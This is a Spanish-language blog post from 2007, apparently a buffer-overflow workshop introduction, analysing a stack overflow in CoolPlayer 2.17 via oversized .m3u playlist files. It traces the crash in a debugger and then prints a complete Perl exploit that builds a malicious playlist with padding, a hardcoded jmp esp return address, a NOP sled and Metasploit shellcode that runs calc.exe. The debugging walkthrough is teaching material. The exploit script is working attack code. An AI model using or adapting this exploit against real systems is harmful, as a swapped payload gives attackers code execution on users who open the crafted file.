miércoles, 24 de octubre de 2007

CoolPlayer 2.17 Stack Overflow

Hago aqui una puqueña introduccion de lo que se hara en el taller de buffer overflow, empezando con los stack, aqui tenemos un software que es explotable. Cuando me puse a buscar fallos en software me encontre con el TotalPlayer 3.0 (una copia de coolplayer con malware) y me entere gracias a una persona en securityfocus, y el totalplayer mostraba seguridad por lo que me puse con el original, el coolplayer 2.17.
El fallo en sí, se encontraba al abrir archivos .m3u con demasiados bytes en su interior (IMG:style_emoticons/default/tongue.gif)

Comencemos:

Despues de ver eso, es hora de irnos a investigar, abrimos el OllySnd por ejemplo:

Yo lo hice de este modo para ver el lugar exacto donde se producia, mire en strings y vi por ahi cosas como playlist y demas, asi que me fui a

0040CAA3 |. 68 C4DA4400 |push coolplay.0044DAC4 ; ASCII "playlist"

y bajando un poco nos encontramos con una funcion muy sospechosa:

0040CBA8 |. FF15 08514300 call ds:[<&KERNEL32.ReadFile>] ; \ReadFile

Ponemos un BP y al abrir el archivo se para ahi, seguimos traceando un poco con f8 y cuando caemos aqui:

0040CC07 |. E8 D4FCFFFF |call coolplay.0040C8E0


El archivo da el problema, asi que lo reiniciamos y lo miramos con f7

de nuevo viendo poco a poco vemos que hay 2 funciones iguales, y como la que tiene que ver con el error es la segunda le ponemos un bp ahi(esto lo he visto traceando poco a poco), es facil, si no sale no preocuparse jeje:

0040C98A |. FF15 20514300 call ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA

En ese momento creo que la pila estaba asi:

0013271C 7C809BA8 kernel32.7C809BA8
00132720 FFFFFFFF
00132724 0040CC0C RETURN to coolplay.0040CC0C from coolplay.0040C8E0 -- importante
00132728 003D41D0


y seguimos bajando y caemos en:

0040C9B0 |. 81C4 04010000 add esp,104 -- la pila esta antes de llegar al ret address

---
00132620 505C3A46 -esp
00132624 5C6C7265 --ret address
---

Al tracear una vez mas, el ret adress sta sobreescrito, y esp apunta a la linea de abajo del ret address, por lo que sera mas facil hacer el exploit funcional:


00132620 41414141
00132624 41414141 - ret address sobreescrita(aqui un salto a esp(jmp esp))
00132628 41414141 -esp


Asi que teniendo esto despues de tracearlo con el olly, vamos a crear el exploit:

Para ello utilizare perl, y una shellcode de metasploit (IMG:style_emoticons/default/tongue.gif)

Esto iba a ir a milw0rm, pero de momento no,porque parece ser que no funciona del todo bien en alguna que otra maquina xD

Exploit modificado:


#!/usr/bin/perl
################################################################################
#####################################
#
#CoolPlayer, Latest Build: 217
#Web:: http://coolplayer.sourceforge.net/
#Playlist(.m3u) File Local Buffer Overflow Exploit
#
#Vuln:http://www.securityfocus.com/bid/21396
#
#Instrucciones:coolplayerm3u.pl debe de estar en el mismo directorio que el perl.exe
#
#Agradecimientos a: Luigi Auriemma que ha descubierto una nueva vulnerabilidad en este software junto
# a esta vuln que era antigua y que ha sido redescubierta en un software con adware por mi jeje
# TotalPlayer 3.0(fake de Coolplayer), thanks luigi xDD
# Además del equipo de www.p1mp4m.es -->musashi,patoruzu,elvispresley,pepepistola,skyline2412
#
# Y en especial a este ultimo:skyline2412(puso parte del codigo y me ayudo bastante con la tarea) y
# el_manguan que estuvo ayudando tambien y probando.
#
#Exploit por: Trancek
#Email:trancek@yashira.org
#
################################################################################
######################################
use Cwd;

print "CoolPlayer 2.17 .m3u Exploit\n\n";


$dir = getcwd()."/";
$lon = length($dir);
$nanai = 260 - $lon;
$junk = 'A' x $nanai;
$ret = "\xED\x1E\x95\x7C"; #jmp esp,win xp sp2(spanish)



# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x66".
"\x3f\x59\x90\x83\xeb\xfc\xe2\xf4\x9a\xd7\x1d\x90\x66\x3f\xd2\xd5".
"\x5a\xb4\x25\x95\x1e\x3e\xb6\x1b\x29\x27\xd2\xcf\x46\x3e\xb2\xd9".
"\xed\x0b\xd2\x91\x88\x0e\x99\x09\xca\xbb\x99\xe4\x61\xfe\x93\x9d".
"\x67\xfd\xb2\x64\x5d\x6b\x7d\x94\x13\xda\xd2\xcf\x42\x3e\xb2\xf6".
"\xed\x33\x12\x1b\x39\x23\x58\x7b\xed\x23\xd2\x91\x8d\xb6\x05\xb4".
"\x62\xfc\x68\x50\x02\xb4\x19\xa0\xe3\xff\x21\x9c\xed\x7f\x55\x1b".
"\x16\x23\xf4\x1b\x0e\x37\xb2\x99\xed\xbf\xe9\x90\x66\x3f\xd2\xf8".
"\x5a\x60\x68\x66\x06\x69\xd0\x68\xe5\xff\x22\xc0\x0e\xd0\x97\x70".
"\x06\x57\xc1\x6e\xec\x31\x0e\x6f\x81\x5c\x38\xfc\x05\x11\x3c\xe8".
"\x03\x3f\x59\x90";

$nopeando = "\x90" x 20;


open(m3u, ">./vuln.m3u");
print m3u "$junk";
print m3u "$ret";
print m3u "$nopeando";
print m3u "$shellcode";

print "Instrucciones: coolplayerm3u.pl debe de estar en el mismo directorio que el \n";
print "perl.exe o al llamarlo debes de tener el directorio de perl en las variables de entorno \n\n";

print "Directorio: ",$dir,"\n";
print "Longitud del directorio: ",$lon,"\n";
print "Numero de Junk(A) Total: ",$nanai,"\n\n";

print "Cuidado: Cambiar el archivo de directorio, provoca que no funcione el exploit\n";
print "Depende del directorio actual del archivo .m3u y da problemas en el directorio\n";
print "raiz C:\, F:\, etc...(Son 3 'A' mas)\n\n";

print "Archivo creado\n";